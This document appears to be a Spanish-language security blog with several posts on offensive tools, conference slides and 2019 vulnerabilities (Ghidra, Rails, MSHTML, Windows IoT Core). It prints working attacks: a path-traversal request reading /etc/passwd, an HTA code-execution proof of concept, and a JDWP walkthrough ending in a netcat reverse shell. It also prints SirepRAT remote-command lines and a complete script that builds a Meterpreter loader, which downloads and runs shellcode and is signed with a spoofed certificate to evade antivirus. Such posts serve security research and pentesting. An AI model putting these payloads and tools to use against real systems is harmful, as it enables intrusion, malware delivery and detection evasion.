iBombShell fue desarrollada desde el departamento de Ideas Locas del área del CDO de Telefónica en colaboración con el laboratorio de Innovación de ElevenPaths y se trata de una shell de post-explotación que tiene como objetivo poder usarse prácticamente en cualquier equipo con Windows, gracias a que es descargada desde el repo dinámicamente. Bueno, realmente tiene dos modos de ejecución, el denominado "everywhere" con Powershell y otro adicional llamado "silently" gracias a un C2 escrito en Python.

En la charla se mostraron escenarios reales, y actuales, de pentesting dónde iBombShell trabaja y aporta frescura a los diferentes procesos de un pentest. Tanto si tuviste la oportunidad de asistir al Congreso y ver las demos como si no, ¡te recomendamos probarla!

https://github.com/ElevenPaths/ibombshell

Presentación:


Es Java... ¡no aceptes proyectos de extraños para Ghidra!

Hace unos días veíamos en el blog una pequeña peculiaridad (no diría vulnerabilidad) en Ghidra que permitía ejecutar código remotamente si lanzábamos el programa en modo debug. Pues bien, hoy os traemos una vulnerabilidad XXE (entidad externa XML) identificada por @sghctoma y Tecent Security que se puede provocar al cargar un proyecto en la versión 9.0 de la popular herramienta de reversing de la NSA.

La PoC de la siguiente imagen muestra cómo un atacante puede crear un proyecto GHIDRA completamente nuevo editando el archivo project.prp e insertar el exploit XXE para recibir una simple shell reversa escuchando con netcat:


Otra aplicación interesante es la posibilidad de recibir el hash NTLM explotando esta vulnerabilidad. Java en Windows habilita la autenticación NTLM transparente de forma predeterminada y trata todas las URL como confiables, así que sólo basta con levantar un servidor HTTP con la autenticación NTLM habilitada y usar la vulnerabilidad XXE/SSRF para forzar una autenticación NTLM de la víctima.

Cuando se autentica con NTLMv1, el atacante puede transmitir directamente el Hash Net-NTLM al servicio SMB de la víctima.
En el caso de SMBv2, primero debemos modificar las flags de negociación en el mensaje de tipo 2: 'Negotiate Always Sign' y 'Negotiate 0x00004000'. Esto pasará de autenticación local a autenticación de red, y también eliminará la firma.

La gente de Tecent Security ha publicado además una herramienta llamada UltraRelay basada en Responder e Impack para el envenenamiento LLMNR y reenvío de credenciales NTLM: https://github.com/5alt/ultrarelay

El resultado como puede verse en el siguiente vídeo es bastante autoexplicativo:


- Ghidra From XXE to RCE
- GHIDRA is NSA’s reverse engineering tool released earlier this month.
- Experts found a critical vulnerability in the NSA Ghidra tool

Acceso arbitrario a ficheros en Rails (CVE-2019-5418)

Recientemente se ha publicado una vulnerabilidad en Ruby on Rails que permite acceder arbitrariamente al contenido de los ficheros del servidor.

La vulnerabilidad está en Action View, ha sido bautizada con el CVE CVE-2019-5418 y puede explotarse simplemente mandando una cabecera 'Accept' especialmente construida que en combinación con las llamadas a `render file:` nos mostrará en la respuesta el contenido del fichero:
GET /test HTTP/1.1
Host: SERVIDOR:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: ../../../../../../../../etc/passwd{{
Content-Length: 306
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: firstVisit=1552167456698; CSRF-Token-HOYYT=grQmu9F3Y5hazpvr6T5TtWKj4HqPFhea; sessionid-HOYYT=i3VkCeXtjRJJHUxc7xEEjbecD53xbvaN
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0


Las versiones de Rails que ya han sido corregidas son la 6.0.0.beta3, 5.2.2.1, 5.1.6.2, 5.0.7.2, 4.2.11.1.

Explotación de software moderno en GNU/Linux (by Manuel Blanco #hc0n2019)

Las siguientes diapositivas que vamos a liberar de la pasada h-c0n 2019 Hackplayers' Conference celebrada en Madrid en mes de febrero serán las de Manuel Blanco con su taller "Explotación de software moderno en GNU/Linux".

Manuel Blanco es un persona autodidacta, apasionada por el mundo de la explotación de software, un habitual en el mundo de los CTFs a nivel nacional e internacional con equipos como ID-10-T y w0pr, y estudiante de ingeniería informática en la Universidad Politécnica de Ingeniería de Gijón.

En este taller se explicaron los fundamentos del exploiting en GNU/Linux comenzando por los clásicos Buffer Overflow, pasando por los famosos Out-of-Bounds y llegando hasta Return Oriented Programming, todo ello explicado de una manera interactiva, con ejemplos y ejercicios para llevar todos estos conceptos a la práctica.

Presentación:



MSHTML Engine RCE - CVE-2019-0541

El motor MSHTML de Microsoft Windows posee una vulnerabilidad que permite ejecutar código arbitrario debido a una validación incorrecta de documentos web especialmente diseñados (html, xhtml, etc). Concretamente el problema se desencadena cuando los usuarios "editan" uno de estos documentos especialmente diseñados que contienen una etiqueta HTML 'meta' establecida en 'ProgId' y su contenido establecido en una opción de 'ProgId', por ejemplo. 'HTAFILE', generalmente a través del componente del navegador MS IE o MS Office (la aplicación de edición de HTML 'msohtmed.exe'):
<html>

<head><meta name=ProgId content=htafile>

<!-- htafile is just an exmaple of 'ProgId'...others are possible, you may test all available ProgIds at will! -->

</head>
<hta:application id=x>
<script>

try { if (x.commandLine != "") {

new ActiveXObject('WScript.Shell').Run('calc.exe',1)

}

}

catch(ex) { alert('Error: This document must be viewed in "Edit" mode: Right-click it, then select the "Edit" menu option. \n If not present, open it with MS IE, make sure the "Menu" bar is displayed, then click "File" menu and then "Edit with...".'); }

</script>

<noscript> Error: This document must be viewed in "Edit" mode: Right-click it, then select the "Edit" menu option. <br> If not present, open it with MS IE, make sure the "Menu" bar is displayed, then click "File" menu and then "Edit with...". </noscript>

</html>   

Algunas versiones de Office agregan una opción de menú "Editar" a los archivos html y xhtml, lo que permitirá explotar la vulnerabilidad local o remotamente (generalmente a través de recursos compartidos de red). Veamos una PoC rápida:


Esta vulnerabilidad es similar a las antiguas vulnerabilidades de ClassId de Windows Shell/Internet Explorer que han afectado a Windows 98/2000/XP en el pasado.

Afecta a Microsoft Office, Microsoft Office Word Viewer, Internet Explorer 9, Internet Explorer 11, Microsoft Excel Viewer, Internet Explorer 10 y Office 365 ProPlus, y ha sido probado en Windows 7 SP1, Server 2008, Server 2012, Server 2012 R2, 8.0, 8.1, 10 (cualquiera) con todos los parches hasta diciembre de 2018 y en ambas arquitecturas (x86 y x64).

En los sistemas parcheados, el archivo de la PoC siempre se abrirá en el Bloc de notas.

PoC: https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/46536.zip

Probando el RCE de Ghidra en modo debug

Una de las herramientas más esperadas en las últimas semanas (y probablemente de todo el año) es Ghidra, la herramienta de reversing que recientemente ha publicado la NSA. Está claro que todavía no tiene tantos módulos y file loaders como IDA y, sobretodo, no dispone de debugger (al menos esta versión pública) pero el code browser, el decompilador que funciona con numerosos procesadores, las posibilidades de colaboración y, sobretodo, la liberación del código fuente le hacen ser una herramienta más que interesante.

Pero aún con el código a disposición del público no se han podido evitar suspicacias (hablamos de la NSA) y es que, a poco de publicarse la herramienta, Hackerfantastic encontró una vulnerabilidad de RCE a través del puerto de depuración de JDWP. Que más que una vulnerabilidad es un pequeño "descuido" ya que la configuración por defecto abre el puerto de debug de JDWP, el 18001, a todos los interfaces cuando se ejecuta la herramienta especificamente en modo depuración.

Veamos qué fácil es reproducirlo. Primero lanzamos la herramienta en modo debug (carpeta 'debug'):
user@server:/tools/reversing/ghidra_9.0/support$ ./ghidraDebug 

Si escanemos los puertos vemos que se ha levantado el puerto de debug:
# nmap -p18001,18002 -sV localhost

Starting Nmap 7.60 ( https://nmap.org ) at 2019-03-14 22:16 CET
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000041s latency).

PORT      STATE SERVICE     VERSION
18001/tcp open  jdwp        Java Debug Wire Protocol (Reference Implementation) version 11.0 11.0.2
18002/tcp open  rmiregistry Java RMI

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.65 seconds

Y aquí lo sorprendente, podemos comprobar como el puerto 18001 está escuchando en todos los interfaces (0.0.0.0):
user@server:/tools/reversing/ghidra_9.0/support# netstat -an | grep 800
tcp        0      0 0.0.0.0:18001           0.0.0.0:*               LISTEN     
tcp6       0      0 :::18002                :::*                    LISTEN     

Con lo cual, si desde una máquina remota podemos attachar el debugger de Java al servidor corriendo Ghidra (recordar, lanzado en modo debug):
# jdb -attach 192.168.1.81:18001
Set uncaught java.lang.Throwable
Set deferred uncaught java.lang.Throwable
Initializing jdb ...

Una vez dentro, podemos comprobar el classpath:
> classpath
base directory: /tools/reversing/ghidra_9.0/support
classpath: [/tools/reversing/ghidra_9.0/support/../Ghidra/Framework/Utility/lib/Utility.jar]

Y dentro de las clases disponibles nos fijamos en las "runnables":
> classes
...
...
org.apache.logging.log4j.core.util.Integers
org.apache.logging.log4j.core.util.Loader
org.apache.logging.log4j.core.util.Log4jThread
org.apache.logging.log4j.core.util.Log4jThreadFactory
org.apache.logging.log4j.core.util.NameUtil
org.apache.logging.log4j.core.util.NanoClock
org.apache.logging.log4j.core.util.NetUtils
org.apache.logging.log4j.core.util.OptionConverter
org.apache.logging.log4j.core.util.Patterns
org.apache.logging.log4j.core.util.ReflectionUtil
org.apache.logging.log4j.core.util.ShutdownCallbackRegistry
org.apache.logging.log4j.core.util.SystemClock
org.apache.logging.log4j.core.util.TypeUtil
org.apache.logging.log4j.core.util.WatchManager
org.apache.logging.log4j.core.util.WatchManager$FileMonitor
org.apache.logging.log4j.core.util.WatchManager$WatchRunnable
org.apache.logging.log4j.core.util.datetime.DateParser
org.apache.logging.log4j.core.util.datetime.DatePrinter
org.apache.logging.log4j.core.util.datetime.FastDateFormat
org.apache.logging.log4j.core.util.datetime.FastDateFormat$1
org.apache.logging.log4j.core.util.datetime.FastDateParser
org.apache.logging.log4j.core.util.datetime.FastDateParser$1
org.apache.logging.log4j.core.util.datetime.FastDateParser$2
org.apache.logging.log4j.core.util.datetime.FastDateParser$3
...
...

Seteamos un breakpoint en la clase en cuestión:
> stop in org.apache.logging.log4j.core.util.WatchManager$WatchRunnable.run()
Set breakpoint org.apache.logging.log4j.core.util.WatchManager$WatchRunnable.run()

Esperamos un rato breve:
> 
Breakpoint hit: "thread=Log4j2-TF-4-Scheduled-1", org.apache.logging.log4j.core.util.WatchManager$WatchRunnable.run(), line=96 bci=0

Levantamos un netcat a la escucha y ejecutamos lo siguiente para obtener la shell reversa:
Log4j2-TF-4-Scheduled-1[1] print new java.lang.Runtime().exec("nc.traditional 192.168.1.81 4444 -e /bin/sh")
 new java.lang.Runtime().exec("nc.traditional 192.168.1.81 4444 -e /bin/sh") = "Process[pid=5954, exitValue="not exited"]"
Log4j2-TF-4-Scheduled-1[1] 

# nc -nlvp 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from 192.168.1.81 55418 received!
whoami
user
python -c 'import pty; pty.spawn("/bin/sh")'
$ id
id
uid=1000(user) gid=1000(user) groups=1000(grupo),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)
$ 

Como véis un pequeño "descuido" como decimos, que puede corregirse fácilmente cambiando el "*" por "127.0.0.1" en el fichero de configuración launch.sh:
user@server:/tools/reversing/ghidra_9.0/support# vi launch.sh 

if [ "${MODE}" = "debug" ] || [ "${MODE}" = "debug-suspend" ]; then

        SUSPEND=n

        if [ "{$DEBUG_PORT}" = "" ]; then
                DEBUG_PORT=18001
        fi

        if [ "${MODE}" = "debug-suspend" ]; then
                SUSPEND=y
        fi

        VMARG_LIST+=" -Xdebug"
        VMARG_LIST+=" -Xnoagent"
        VMARG_LIST+=" -Djava.compiler=NONE"
        VMARG_LIST+=" -Dlog4j.configuration=\"${DEBUG_LOG4J}\""
        VMARG_LIST+=" -Xrunjdwp:transport=dt_socket,server=y,suspend=${SUSPEND},address=*:${DEBUG_PORT}"
        VMARG_LIST+=" -Dcom.sun.management.jmxremote.port=$(($DEBUG_PORT+1))"
        VMARG_LIST+=" -Dcom.sun.management.jmxremote.authenticate=false"
        VMARG_LIST+=" -Dcom.sun.management.jmxremote.ssl=false"

Tunneling Like a Boss (by José Boix y Luismi Cerrato #hc0n2019)

Qué hacer cuando se ha conseguido un blind RCE o una Webshell en un sistema y se quiere obtener una shell interactiva y después pivotar hacia la red interna? Esta es una pregunta recurrente y que en cada caso encontramos una respuesta diferente. José Boix y Luis Miguel Cerrato expusieron en la h-c0n 2019 todo tipo de técnicas para poder conseguir este objetivo, recreando distintos escenarios variando el nivel de complejidad de la red, impidiendo utilizar técnicas convencionales de tunneling y pivoting.

El principal objetivo de la presentación fue otorgar al público los conocimientos necesarios para poder adaptarse a diferentes escenarios y conocer distintas técnicas para desenvolverse en él, para comprometer la red interna evadiendo mecanismos de defensa. Aquí os dejo la presentación gracias a estos dos cracks:

Presentación:



Loader de Meterpreter firmado con un certificado falso

Astr0baby ha actualizado su generador/loader de meterpreter con una función para falsificar cualquier certificado de una web y firmar un ejecutable con el objetivo de evadir algunos antivirus. El concepto original es de paranoidninja que hace unos meses publicó CarbonCopy, una pequeña herramienta que lo implementaba: https://github.com/paranoidninja/CarbonCopy.

El resultado de incorporar ésto es un script que produce un archivo binario de Windows PE32 de 64 bits con la dirección del servidor del loader de meterpreter y el puerto hardcodeado dentro y, por supuesto, firmado con un certificado falsificado por un sitio web a nuestra elección (google.com por ejemplo). El binario firmado resultante no es verificado por Windows pero agrega una capa adicional de complejidad a los motores AV.

#!/bin/bash
clear
echo "****************************************************************"
echo " Automatic C source code generator - FOR METASPLOIT "
echo " Based on rsmudge metasploit-loader "
echo " Based on NinjaParanoid's CarbonCopy "
echo " "
echo " For Debian based system Ubuntu/Mint "
echo " PE32+ executable (GUI) x86-64 "
echo "****************************************************************"

# Check if we are on Debian/Ubuntu 
if [ $(which dpkg-query | grep -c "dpkg-query") -eq 0 ]; 
then echo "[-] no dpkg-query found in path, not Debian/Ubuntu based system, manually change the scipt" 
echo " This script relies on dpkg-query to check for required packages, if running on other platform" 
echo " Simply remove the section starting from #Debian-start and finishing at #Debian-end" 
echo " Make sure you manually install the dependant packages" 
echo ""
echo "- mingw-w64 "
echo "- python-openssl" 
echo "- osslsigncode" 
exit
fi

echo "[*] Checking if required software is installed " 
dpkg --get-selections mingw-w64 python-openssl osslsigncode 
if [ $(dpkg-query -W -f='${Status}' mingw-w64 2>/dev/null | grep -c "ok installed") -eq 0 ]; 
then echo "[-] Missing mingw-w64 run apt-get install mingw-w64"
exit
fi
if [ $(dpkg-query -W -f='${Status}' python-openssl 2>/dev/null | grep -c "ok installed") -eq 0 ]; 
then echo "[-] Missing python-openssl run apt-get install python3-openssl"
exit
fi
if [ $(dpkg-query -W -f='${Status}' osslsigncode 2>/dev/null | grep -c "ok installed") -eq 0 ];
then echo "[-] Missing osslsigncode apt-get install osslsigncode"
exit
fi

echo -en 'Metasploit server IP : ' 
read ip
echo -en 'Metasploit port number : ' 
read port 
echo -en 'Impersonate Certificate https site (www.google.com): ' 
read hostname
echo '#include '> temp.c 
echo '#include ' >> temp.c 
echo '#include ' >> temp.c
echo '#include ' >> temp.c 
echo -n 'unsigned char lambert[]="' >> temp.c 
echo -n $ip >> temp.c 
echo -n '";' >> temp.c 
echo '' >> temp.c 
echo -n 'unsigned char omega[]="' >> temp.c 
echo -n $port >> temp.c 
echo -n '";' >> temp.c 
echo '' >> temp.c 
echo 'void winsock_init() {' >> temp.c 
echo ' WSADATA wsaData;' >> temp.c 
echo ' WORD wVersionRequested;' >> temp.c 
echo ' wVersionRequested = MAKEWORD(2, 2);'>> temp.c 
echo ' if (WSAStartup(wVersionRequested, &wsaData) < 0) {' >> temp.c 
echo ' printf("bad\n"); '>> temp.c 
echo ' WSACleanup(); '>> temp.c 
echo ' exit(1);'>> temp.c 
echo ' }' >> temp.c 
echo ' }' >> temp.c 
echo ' void punt(SOCKET my_socket, char * error) {' >> temp.c 
echo ' printf("r %s\n", error);'>> temp.c 
echo ' closesocket(my_socket);'>> temp.c 
echo ' WSACleanup();'>> temp.c 
echo ' exit(1);' >> temp.c 
echo ' }' >> temp.c 
echo ' int recv_all(SOCKET my_socket, void * buffer, int len) {' >> temp.c 
echo ' int tret = 0;'>> temp.c 
echo ' int nret = 0;'>>temp.c 
echo ' void * startb = buffer;'>> temp.c 
echo ' while (tret < len) {'>>temp.c 
echo ' nret = recv(my_socket, (char *)startb, len - tret, 0);'>> temp.c 
echo ' startb += nret;'>> temp.c 
echo ' tret += nret;'>>temp.c 
echo ' if (nret == SOCKET_ERROR)'>> temp.c 
echo ' punt(my_socket, "no data");'>> temp.c 
echo ' }'>>temp.c 
echo ' return tret;'>> temp.c 
echo '}' >> temp.c 
echo 'SOCKET wsconnect(char * targetip, int port) {'>> temp.c 
echo ' struct hostent * target;' >> temp.c 
echo ' struct sockaddr_in sock;' >> temp.c
echo ' SOCKET my_socket;'>>temp.c 
echo ' my_socket = socket(AF_INET, SOCK_STREAM, 0);'>> temp.c 
echo ' if (my_socket == INVALID_SOCKET)'>> temp.c 
echo ' punt(my_socket, ".");'>>temp.c 
echo ' target = gethostbyname(targetip);'>>temp.c 
echo ' if (target == NULL)'>>temp.c 
echo ' punt(my_socket, "..");'>>temp.c 
echo ' memcpy(&sock.sin_addr.s_addr, target->h_addr, target->h_length);'>>temp.c 
echo ' sock.sin_family = AF_INET;'>> temp.c 
echo ' sock.sin_port = htons(port);'>>temp.c 
echo ' if ( connect(my_socket, (struct sockaddr *)&sock, sizeof(sock)) )'>>temp.c 
echo ' punt(my_socket, "...");'>>temp.c 
echo ' return my_socket;'>>temp.c 
echo '}' >> temp.c 
echo 'int main(int argc, char * argv[]) {' >> temp.c 
echo ' FreeConsole();'>>temp.c 
echo ' Sleep(15);'>>temp.c 
echo ' ULONG32 size;'>>temp.c 
echo ' char * buffer;'>>temp.c 
echo ' void (*function)();'>>temp.c 
echo ' winsock_init();'>> temp.c 
echo ' SOCKET my_socket = wsconnect(lambert, atoi(omega));'>>temp.c 
echo ' int count = recv(my_socket, (char *)&size, 4, 0);'>>temp.c 
echo ' if (count != 4 || size <= 0)'>>temp.c 
echo ' punt(my_socket, "error lenght\n");'>>temp.c 
echo ' buffer = VirtualAlloc(0, size + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE);'>>temp.c 
echo ' if (buffer == NULL)'>>temp.c 
echo ' punt(my_socket, "error in buf\n");'>>temp.c 
echo ' buffer[0] = 0xBF;'>>temp.c 
echo ' memcpy(buffer + 1, &my_socket, 4);'>>temp.c 
echo ' count = recv_all(my_socket, buffer + 5, size);'>>temp.c 
echo ' function = (void (*)())buffer;'>>temp.c 
echo ' function();'>>temp.c 
echo ' return 0;'>>temp.c 
echo '}' >> temp.c 
echo '(+) Compiling binary ..' 
x86_64-w64-mingw32-gcc temp.c -o payload.exe -lws2_32 -mwindows 
ls -la temp.c
strip payload.exe 
file=`ls -la payload.exe` ; echo '(+)' $file

#Cleanup previous run 
rm -f carboncopy.py
cat <> carboncopy.py
#!/usr/bin/python3

##Author : Paranoid Ninja
##Email  : paranoidninja@protonmail.com
##Descr  : Spoofs SSL Certificates and Signs executables to evade Antivirus


from OpenSSL import crypto
from sys import argv, platform
import ssl
import os
import subprocess

def CarbonCopy(host, port, signee, signed):

    try:
        #Fetching Details
        print("[+] Loading public key of %s in Memory..." % host)
        ogcert = ssl.get_server_certificate((host, int(port)))
        x509 = crypto.load_certificate(crypto.FILETYPE_PEM, ogcert)

        certDir = r'certs'
        if not os.path.exists(certDir):
            os.makedirs(certDir)

        #Creating Fake Certificate
        CNCRT = certDir + "/" + host + ".crt"
        CNKEY = certDir + "/" + host + ".key"
        PFXFILE = certDir + "/" + host + '.pfx'

        #Creating Keygen
        k = crypto.PKey()
        k.generate_key(crypto.TYPE_RSA, ((x509.get_pubkey()).bits()))
        cert = crypto.X509()

        #Setting Cert details from loaded from the original Certificate
        print("[+] Cloning Certificate Version")
        cert.set_version(x509.get_version())
        print("[+] Cloning Certificate Serial Number")
        cert.set_serial_number(x509.get_serial_number())
        print("[+] Cloning Certificate Subject")
        cert.set_subject(x509.get_subject())
        print("[+] Cloning Certificate Issuer")
        cert.set_issuer(x509.get_issuer())
        print("[+] Cloning Certificate Registration & Expiration Dates")
        cert.set_notBefore(x509.get_notBefore())
        cert.set_notAfter(x509.get_notAfter())
        cert.set_pubkey(k)
        print("[+] Signing Keys")
        cert.sign(k, 'sha256')

        print("[+] Creating %s and %s" %(CNCRT, CNKEY))
        open(CNCRT, "wt").write(crypto.dump_certificate(crypto.FILETYPE_PEM, cert).decode('utf-8'))
        open(CNKEY, "wt").write(crypto.dump_privatekey(crypto.FILETYPE_PEM, k).decode('utf-8'))
        print("[+] Clone process completed. Creating PFX file for signing executable...")

        pfx = crypto.PKCS12Type()
        pfx.set_privatekey(k)
        pfx.set_certificate(cert)
        pfxdata = pfx.export()

        with open((PFXFILE), 'wb') as pfile:
            pfile.write(pfxdata)

        if (platform == "win32"):
            print("[+] Platform is Windows OS...")
            print("[+] Signing %s with signtool.exe..." %(signed))
            print(subprocess.check_output("copy " + signee + " " + signed, shell=True).decode())
            print(subprocess.check_output("signtool.exe sign /v /f " + PFXFILE + " /d \"MozDef Corp\" /tr \"http://sha256timestamp.ws.symantec.com/sha256/timestamp\" /td SHA256 /fd SHA256 " + signed, shell=True).decode())

        else:
            print("[+] Platform is Linux OS...")
            print("[+] Signing %s with %s using osslsigncode..." %(signee, PFXFILE))
            args = ("osslsigncode", "sign", "-pkcs12", PFXFILE, "-n", "Notepad Benchmark Util", "-i", "http://sha256timestamp.ws.symantec.com/sha256/timestamp", "-in", signee, "-out", signed)
            popen = subprocess.Popen(args, stdout=subprocess.PIPE)
            popen.wait()
            output = popen.stdout.read()
            print("[+] " + output.decode('utf-8'))

    except Exception as ex:
        print("[X] Something Went Wrong!\n[X] Exception: " + str(ex))

def main():
    if (len(argv) != 5):
        print(""" +-+-+-+-+-+-+-+-+-+-+-+-+
 |C|a|r|b|o|n|S|i|g|n|e|r|
 +-+-+-+-+-+-+-+-+-+-+-+-+""")
        print("\n  CarbonSigner v1.0\n  Author: Paranoid Ninja\n\n[+] Descr: Impersonates the Certificate of a website\n[!] Usage: " + argv[0] + "    \n")
    else:
        print(""" +-+-+-+-+-+-+-+-+-+-+-+-+
 |C|a|r|b|o|n|S|i|g|n|e|r|
 +-+-+-+-+-+-+-+-+-+-+-+-+""")
        print("\n  CarbonSigner v1.0\n  Author: Paranoid Ninja\n")
        CarbonCopy(argv[1], argv[2], argv[3], argv[4])

if __name__=="__main__":
    main()

EOF

python ./carboncopy.py $hostname 443 ./payload.exe ./payload-signed.exe
ls -la ./payload-signed.exe 
osslsigncode verify ./payload-signed.exe

Tor DIY (by @dsecuma #hc0n2019)

La siguiente presentación que vamos a liberar es a petición de un colega que hoy nos la ha solicitado... Se trata de 'Tor DIY' de David Santos aka @dsecuma una interesantísima (y práctica) charla en la que se empezaba con una introducción al funcionamiento interno de TOR para posteriormente mostrar como montar una red Tor aislada de la red Tor pública y las vicisitudes con los ISPs.

Además, David nos mostró finalmente como emplearla como entorno de laboratorio para realizar ataques/pruebas en nodos de salida.

Presentación:



Nuevo exploit para ownear dispositivos con Windows IoT Core

Windows 10 IoT Core es el sucesor de Windows Embedded y actualmente 2 de cada 10 dispositivos IoT utilizan el sistema operativo de M$ (Linux prácticamente copa el mercado).

Recientemente, en la conferencia de seguridad WOPR Summit de Nueva Jersey, la investigadora Dor Azouri de SafeBreach ha publicado un exploit que aprovecha una vulnerabilidad del protocolo de comunicaciones Sirep/WPCon/TShell y que puede permitir a un atacante ejecutar comandos con privilegios de SYSTEM.

Básicamente, lo que hicieron fue romper el protocolo y demostrar cómo expone una interfaz de comando remoto para los atacantes, que incluye capacidades RAT como descargar o subir archivos arbitrarios y obtener información del sistema.

Eso sí, para comprometer al dispositivo IoT es necesario estar en la misma LAN que el dispositivo y la vulnerabilidad sólo afecta a la versión Core asÌ que Windows IoT Enterprise parece estar a salvo (de momento).

Sobre la base de la investigación sobre el servicio y el protocolo, crearon además una herramienta escrita en Python llamada SirepRAT que ya podemos encontrar en Github:

https://github.com/SafeBreach-Labs/SirepRAT

Descargar archivo

python SirepRAT.py 192.168.3.17 GetFileFromDevice --remote_path "C:\Windows\System32\drivers\etc\hosts" -v

Subir archivo

python SirepRAT.py 192.168.3.17 PutFileOnDevice --remote_path "C:\Windows\System32\uploaded.txt" --data "Hello IoT world!"

Ejecutar cualquier programa

python SirepRAT.py 192.168.3.17 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\hostname.exe"

Con argumentos, impersonando al usuario actualmente conectado:

python SirepRAT.py 192.168.3.17 LaunchCommandWithOutput --return_output --as_logged_on_user --cmd "C:\Windows\System32\cmd.exe" --args " /c echo {{userprofile}}"

(Intenta ejecutarlo sin el flag as_logged_on_user para demostrar la capacidad de ejecución con SYSTEM)

Conseguir información del sistema

python SirepRAT.py 192.168.3.17 GetSystemInformationFromDevice

Obtener información de un fichero

python SirepRAT.py 192.168.3.17 GetFileInformationFromDevice --remote_path "C:\Windows\System32\ntoskrnl.exe"

Ver ayuda:

python SirepRAT.py --help

Fuentes:

https://www.woprsummit.org/talks
https://www.muyseguridad.net/2019/03/04/vulnerabilidad-en-windows-iot-core/
https://www.zdnet.com/article/new-exploit-lets-attackers-take-control-of-windows-iot-core-devices/